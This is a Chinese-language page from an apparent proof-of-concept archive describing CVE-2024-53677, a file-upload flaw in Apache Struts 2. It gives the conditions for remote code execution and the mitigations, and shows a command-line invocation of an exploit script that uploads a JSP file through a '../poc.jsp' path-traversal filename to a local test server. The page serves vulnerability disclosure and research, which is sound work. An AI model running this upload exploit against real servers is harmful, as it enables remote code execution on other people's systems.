关联漏洞
标题：
Apache Struts 安全漏洞
(CVE-2024-53677)
描述：Apache Struts是美国阿帕奇（Apache）基金会的一个开源项目，是一套用于创建企业级Java Web应用的开源MVC框架，主要提供两个版本框架产品，Struts 1和Struts 2。 Apache Struts 2.0.0版本至6.4.0之前版本存在安全漏洞，该漏洞源于文件上传逻辑缺陷。
介绍
POC来自
https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/
RCE条件
1.对危险类型后缀名无限制
2.上传文件时从上传参数中获取文件名
因此缓释修复也很简单，限制后缀名、使用自定义随机文件名称等
python3 s2-067.py -h
<img width="737" alt="image" src="https://github.com/user-attachments/assets/a0513b72-a068-4524-ac47-ae97ffd52234" />
python3 s2-067.py -u http://localhost:28080/uploadFile -filename ../poc.jsp -file 2.jsp -type s
<img width="783" alt="image" src="https://github.com/user-attachments/assets/aa6fe12a-2dfe-461a-8aca-0bb00c45a79c" />
文件快照
[4.0K] /data/pocs/683ab4eae267fc9a5432a9817f9c5323f53958f5
├── [ 720] README.md
└── [1.8K] s2-067.py
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。